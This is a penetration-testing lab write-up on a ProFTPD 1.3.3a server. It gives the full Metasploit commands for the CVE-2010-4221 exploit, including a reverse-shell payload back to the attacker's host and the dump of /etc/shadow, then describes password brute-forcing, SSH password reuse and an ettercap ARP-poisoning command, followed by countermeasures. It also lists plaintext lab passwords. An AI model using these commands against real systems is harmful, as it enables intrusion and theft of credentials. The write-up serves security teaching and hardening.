Penetration Testing - FTP Service

[1] The source code of the older version of ProFTPD server (1.3.3a) was downloaded from the ProFTPD source code repository located at ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

        The commands used were (without the hash sign) (proftpd, 2011):
           # cd /usr/local/src
           # wget -c 'ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2'

          [2] For compilation of the source code, development libraries and compilers need to be installed  on the CentOS machine. They were installed using the following command (proftpd, 2013):
           # yum -y groupinstall 'Development tools'
          [2] The ProFTP server runs as a non-privileged user on the Linux system for security reasons. A group called ftpd was created and then a user called ftpd was also created that belonged to the ftpd group. The following commands were used:

Command Used	Purpose
groupadd ftpd	Creates a new group called ftpd and populates the /etc/group file.
useradd –g ftpd ftpd	Creates a new user called ftpd that has ftpd     as its primary group (specified by the –g parameter) and populates the /etc/passwd file.

   

       [3] Once the user and group ftpd were added the next step was to compile the source code of  the ProFTP server to produce the proftpd binary which support the FTP (File Transport Protocol). The following commands were used to achieve this (proftpd, 2011) :

Command Used	Purpose
cd /usr/local/src	Change directory to the location /usr/local/src where the source code of the ProFTP has been downloaded.
tar -jxf proftpd-1.3.3a.tar.bz2	The tar command uncompressed the proftpd-1.3.3a.tar.bz2 BZIP2 file. The command options are as follows :   ·         -j -> The file input is in BZIP2 format ·         x -> extract ·         f -> this argument is followed by the compressed filename
cd proftpd-1.3.3a	Change directory into the uncompressed folder proftpd-1.3.3a

Command Used (continued..)	Purpose
install_user=ftpd install_group=ftpd ./configure  --prefix=/usr  --sysconfdir=/etc	This command runs a shell script called configure in the current directory. This script checks the build dependencies and the machine architecture on which the software is going to compile. The main task of this command is to generate a file called “Makefile”. The “Makefile” contains the compilation and installation instructions that is read by the make command. The install_user and install_group commands instructs the configure utility that the user and group used by the proftpd are ftpd and ftpd respectively. The prefix=/usr instructs the configure utility that the binaries should be installed on /usr directory rather than /usr/local directory (default). Finally, the sysconfdir=/etc instructs the configure script that the configuration files should be installed in the /etc directory.
Make	This command compiles the binary as per the instructions loaded in the Makefile.
make install	This command installs the compiled binaries which includes the ProFTP daemon called proftpd.

[3] Once the binaries were compiled the location of proftpd was found out using the following command:

# which proftpd

The version was also checked using the following command:

#/usr/sbin/proftpd –v

[4] The main configuration file of the proftpd server called proftpd.conf, which is located at /etc was edited using vi editor. The final configuration file looked like the following (Petersen , 2010).The configuration is heavily commented (comments starts with # sigh) for explanation:

In the same file has the configuration directive starting with <Anonymous ~ftp> and ending with </Anonymous> and all the directives inside it were commented out (by putting hash sign in front of the configuration) to disable anonymous FTP service on the proftpd server  (Petersen , 2010). 

The final configuration file only allows local Linux accounts/users (users defined by the /etc/passwd ) and chroot (restricts) them to their home directory so that they cannot break out of that directory.

[5] Since, the proftpd daemon is configured to support local Linux account and to chroot user to his/her home directory, a new user called prithak with password password was added into the Linux system for testing. The following commands were used :

# userad prithak

# passwd prithak (enter password prithak twice)

Similarly, another user was also added to the system called Daniel. Finally, now we have the following users on the system:

Username	Password
prithak	1234qwer
daniel	1a2b3c
chintan	a1b2c3d4

[6] The ProFTP server (192.168.79.135) was started in debugging mode and was accessed from the windows machine (192.168.79.1) using the windows in-built ftp command. The user prithak (having password prithak) was able to successfully log into the ProFTPD server and at the same time the proftpd server produced debugging logs on the standard output to confirm the details of the login(Petersen, 2010).

The proftpd was started using the following command line options (Petersen, 2010):

proftpd -n -d 4 -c /etc/proftpd.conf --ipv4

The options are as follows:

-n 

        Runs the proftpd process in standalone mode (must be configured as such in the configuration file), but does not background the process or disassociate it from the controlling tty.  Additionally, all output (log or debug messages) are sent to stderr, rather  than the syslog mechanism. 

-d

        Runs the proftpd server in debugging mode. The 4 parameter increases the verbosity of the logging to 4.

-c /etc/proftpd.conf

        Instructs the proftpd daemon to read the configuration file located at /etc/proftpd.conf.

--ipv4

        Instructs the proftpd daemon to listen only on IPV4 addresses i.e. disabled IPV6 (if present).

[7] To ensure that the ProFTP server running on  (192.168.79.135) starts every time the Linux is restarted the initialization script (init script) that comes with the source of the ProFTP was copied to the CentOS INIT V (initialization system V) script directory (/etc/rc.d/init.d). Then the script was made executable. Finally, the proftpd service was turned on using chkconfig command.

# cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd

# chmod 775 /etc/rc.d/init.d/proftpd

# chkconfig proftpd on

RECONNAISSANCE, FOOTPRINTING and EXPLOITATION

[1] RECONNAISSANCE and FOOTPRINTING

The first step in every vulnerability assessment is to find what services are running and the version of the service this is called reconnaissance and footprinting . To complete this step a port scan against the target machine should be launched. Following the same principal, nmap port scanner was launched against the machine using the following parameters (EC-Council, 2010):

root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135

The Nmap scan result indicated that the remote machine has two open ports : 22 (SSH) and 21 (FTP). Also, the version of the FTP server running on the remote machine is ProFTPD 1.3.3a and that of SSH is OpenSSH 5.3. Also, the SSH server only supports SSH protocol version 2.0.

[2] BUFFER OVERFLOW ATTACK AGAINST THE PROFTPD SERVICE

When known vulnerabilities for the  ProFTPD 1.3.3a was searched  on the internet , the following results were obtained :

The vulnerability “CVE-2010-4221” was identified to be affecting the version of ProFTPD 1.3.3.a that we were running. According to the site “Multiple stack-based buffer overflows in the pr_netio_telnet_gets function in netio.c in ProFTPD before 1.3.3c allow remote attackers to execute arbitrary code via vectors involving a TELNET IAC escape character to a (1) FTP or (2) FTPS server.”

Similar, when exploits for the CVE-2010-4221 was searched on the internet it lead to the following metasploit exploit :  “ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)”. The screenshot of the same is shown below :

To successfully exploit the remote machine running the vulnerable version of ProFTPD , metasploit was launched using the following commands in Backtrack Linux system (Kennedy et al., 2011):

root@bt:~# cd /opt/metasploit/msf3
root@bt:/opt/metasploit/msf3# ./msfconsole

The exploit for the vulnerable version of ProFTPD running on 192.168.79.135 was loaded using the following command (commands are in color red) (Kennedy et al.,2011):

msf > use exploit/linux/ftp/proftp_telnet_iac

msf  exploit(proftp_telnet_iac) > set RHOST 192.168.79.135

RHOST => 192.168.79.135

msf  exploit(proftp_telnet_iac) > set payload linux/x86/shell_reverse_tcp

msf  exploit(proftp_telnet_iac) > set LHOST 192.168.79.144

LHOST => 192.168.79.144

msf  exploit(proftp_telnet_iac) > exploit –j

Metasploit Command	Description
use exploit/linux/ftp/proftp_telnet_iac	Loads the proftp_telnet_iac exploit into the current context.
set RHOST 192.168.79.135	The target host of the exploit i.e. the IP address of the vulnerable machine.
set payload linux/x86/shell_reverse_tcp	The shell code that will be executed after successful exploitation. Here the reverse shell payload is chosen. The reverse shell payload connects back to the attacker after the exploit is successful. The IP to which the exploit should connect back is set by the LHOST parameter.
set LHOST 192.168.79.144	The IP address of the attacker
exploit –j	Launch the exploit as a background session

       

As a result of successful exploitation,   reverse shell was obtained on 192.168.79.135 (ProFTP) server.  A new session was created for the shell which could be listed using “session –l” command in the metasploit console.

To interact with the session, the “session –i 1” command was used. To check the privilege level of the user who has triggered the reverse shell the following command were used:

1.    id

This command prints the effective user id of the user. The output showed that we had uid 0 and gid 0 i.e. we were root user.

2.    whoami

    This command is used to print the user friendly name of the current user. The output of this command also confirmed that we had root access in the machine.

Since, were had the privileges of the super user (root) we were also able to dump the /etc/shadow file which contains the password hashes of various users in the system and is only readable/writeable by the root user. The following screenshot shows the interaction:

[2] Brute Force and Password re-use attack against the ProFTP Server

To carry out password brute force attack against the ProFTP server, the following Python script was written. This script tries to brute force the password of users prithak, chintan and daniel. The default password file that comes with bracktrack is used as the password database file.

Using the above python script the password of the FTP users’ prithak, chintan and daniel were brute forced and obtained successfully. The following screenshot shows the password obtained:

Since, most systems use the same username and password for multiple services. The username and passwords that were obtained from the previous attacks were used against the SSH server running on the same server. This attack is also called “password reuse-attack” (Harper,2011). The password reuse-attack was successful and the above obtained credentials were also valid for SSH login. The following screenshot shows the successful SSH login:

[3] ARP Poisoning and Password Sniffing Attack

Since, FTP protocol sends username and passwords in clear text, it is susceptible to password sniffing attacks. In this attack the following IP machines are involved:

192.168.79.135       ProFTP Server (FTP Server)

192.168.79.144       Backtrack (Attacker)

192.168.79.150       Windows XP (FTP Client)

The following screenshot shows the Address Resolution Protocol table in the Windows XP host before the ARP poisoning attack is launched:

It can be seen that the all the hosts have different MAC addresses associated with them. Now since the attacker is on the same LAN segment as the FTP server and the FTP client, it is possible for the attacker to launch ARP poisoning attack so that he can sit in the middle of the FTP exchanges and sniff the password. To do this the following steps were performed on the attacker’s machine:

(1)  Enabled IP forwarding on the attackers machine so that it can route the traffic between the FTP Server and FTP Client. This is done using the following command (Anon, 2008) :

# echo 1 > /proc/sys/net/ipv4/ip_forward

(2)  Ettercap utility was used to launched ARP poisoning attack against both the and the 192.168.79.150 [ Windows XP (FTP Client)] and 192.168.79.135   ProFTP Server (FTP Server) . The following command was used (Anon, 2008):

 # ettercap --iface eth4 --text --quiet --mitm  arp /192.168.79.150/ /192.168.79.135/

(1)  The following screenshot shows the ARP table on the Windows XP machine before and after the attack was launched :

(4)  Now when the Client logs into the FTP Server the etteracap utility grabs the password and prints them.

COUNTERMEASURES

[1] COUNTERMEASURE AGAINST BUFFER OVERFLOW EXPLOIT

Since, the older version of Proftpd is being run on the system , the most effective countermeasure is to install the latest version of the same software. Another countermeasure is to install a more secure version of FTP server that has a very good security track record. The pureftpd server seems to have a better security track record that proftpd server.

To apply the countermeasure we choose to upgrade the PureFTPD into the latest version. This was done following similar steps that were used to install the older version of ProFTPD. The steps used were:

The running version of the profptd server was stopped using the following command :

# service proftpd stop

The older version of the ProFTPD server was removed by entering its source directory and using the “make deinstall” command.

# cd /usr/local/src/proftpd-1.3.3a

# make deinstall

·         The latest version of the source code of proftpd server was downloaded and its MD5 checksum verified using md5sum command. The following screenshots shows the interaction :

    ·         The newer version of ProFTPD was compiled and installed using the following commands (Proftpd, 2011) :

# tar zxvf proftpd-1.3.5rc2.tar.gz
# cd proftpd-1.3.5rc2
# install_user=ftpd install_group=ftpd ./configure --prefix=/usr --sysconfdir=/etc --with-modules=mod_tls
# make
# make install

[ N.B. : All these commands and their usage have been explained already when the older versions of ProFTPD was installed. The mod_tls option enables FTP over SSL/TLS (FTPS) protocol support.  ]

·         When the version of proftpd was checked  it came out to be ProFTPD Version 1.3.5rc2.

·         The latest version of proftpd was started and then lsof command was used to verify that FTP server was running :

It was also possible to login into the FTP using the same username and     passwords that were used earlier. This proved that the upgraded FTP service was indeed working perfectly. When the same exploit that was used previously was launched against that ProFTPD server using metasploit  it failed. This verified that the service was patched. Also, at the time of writing no known exploits (local or remote) exists for the ProFTPD server version 1.3.5-rc2 that we are running.

[2] COUNTERMEASURE AGAINST PASSWORD SNIFFING AND PASSWORD RE-USE ATTACK

The FTP protocol can be secured by using the FTP over SSL (FTPS) protocol. The following steps can be performed to enable FTPS :

            (1)  Generate SSL/TLS certificates using the OpenSSL utility that comes with Linux (Falko, 2011) :

          # mkdir /etc/ssl_certs/

          # openssl req -new -x509 -days 730 -nodes -out \

          /etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem

          The –days 730 ensures that the certificate is valid for 730 days or two years.

          (1)  The ProFTPD server was configured to support FTPS protocol by editing the /etc/proftpd.conf configuration file. Also, the plaintext FTP protocol was disabled and FTPS was enforced. Now ProFTPD will reject plaintext FTP connections. The following screenshot shows the added lines           with comments and explanation (Falko, 2011) :

     (1)  Once, the configuration was completed. ProFTPD daemon was restarted using the “service  proftpd restart” command. Now when the Windows 7 inbuilt FTP.EXE client was used to connect to the server using the plaintext FTP protocol , the server rejected the connection          with error message  

 “550 SSL/TLS required on the control channel”.

             (4)  To test the login FileZILLA FTP client was installed and it was able                    to successfully login to the ProFTPD server using SSL/TLS. However,                    a warning message related to the certificate was shown. This is due                  to the fact that the certificate is self signed. Once the certificate was                 accepted, on successive logins there were no errors.

Also, passwords used for FTP server should be secure and strong. The FTP users should have their shell changed to /bin/false which will ensure that the FTP users will not be able to login over SSH, telnet or TTY sessions. This was done using the following commands (Bauer, 2005):

# chsh -s /bin/false prithak
# chsh -s /bin/false daniel
# chsh -s /bin/false chintan
# echo /bin/false >> /etc/shells

[3] COUNTERMEASURE AGAINST PASSWORD BRUTEFORCE ATTACK

To defend against password brute force attack the following steps were taken:

1.    Strong password were chosen and passwords of the users’ were upgraded. The following commands were used :

# passwd prithak  ( when prompted for password alj234wkjw&82jlk2133 was entered two times)

# passwd chitan    ( when prompted for password 234aj%2]32[maere was entered two times)

# passwd daniel    ( when prompted for password ;8@#%2./ere$*.0* was entered two times)

             2.    Fail2ban utility was installed and configured on the ProFTPD system. The Fail2ban utility can             detect and prevent password brute force attack(s) by blocking the IP address (es) of the                 attacker. It checks the proftpd log (/var/log/secure) and based on the configuration                       automatically inserts iptables firewall rule(s) to block the offending IP address. The following             steps were taken to install and configure the fail2ban with ProFTPD :

           (a)  Fail2ban was installed using the following commands (Selvaganeshan, 2010) :

         #  wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

        #  rpm -ivh epel-release-6-8.noarch.rpm

        #  yum install -y fail2ban

           (b)  The  /etc/fail2ban/jail.conf file was edited and the following parameters were changed                       (Selvaganeshan, 2010) :

              bantime  = 600

              maxretry = 4

   The bantime defines the number of seconds to block the attackers IP and the maxretry parameter is the number of failures allowed before the IP is blocked. So, in this case if any IP has more than 4 failed logins then it is banned. Similarly, monitoring of ProFTPD logs was also enabled in the “proftpd-iptables” section:

           (a)  Then the fail2ban service was restarted using the following command :

            # /etc/init.d/fail2ban restart

At the beginning no IP address was blocked by fail2ban with the help from iptables. The default rule set in fail2ban-ProFTPD chain was empty as shown below:

 (d)  When FTP password brute force attack is carried out from IP address 192.168.79.222 (backtrack) on the ProFTPD server (192.168.79.135), the attack is detected and the IP address of the attacker is blocked :

  The iptables rule to block the IP 192.168.79.222 which was inserted by fail2ban is highlighted below :

CONCLUSION

ProFTPD server was installed from source and attacked using buffer overflow exploit , password sniffing and password brute forcing attacks. Also, the service was secured using compulsory SSL/TLS certificates, Fail2ban intrusion detection system and by upgrading the service to the latest version.

REFERENCES

1.    Falko, D. (2011). Setting Up ProFTPd + TLS On Debian Squeeze. Available at: http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze. (Accessed on: 7th May 2013)

2.    Kennedy, D. (2011). Metasploit: The Penetration Tester's Guide. First Edition. No Starch Press.

 3.    Petersen, R. (2010). Fedora 14 Networking and Servers. Edition. Surfing turtle press.

4.    Proftpd (2011). Compiling ProFTPD . Available at:      http://www.proftpd.org/docs/howto/Compiling.html. (Accessed on: 21st April 2013).

Authors : Chintan Gurjar and Prithak Sharma

This post if co-authored by Prithak Sharma who is a  IT Security Specialist interested in network Security and Pen-testing who can be contacted at prithak[at]gmail [dot]com. He runs his blog at prithak.blogspot.com.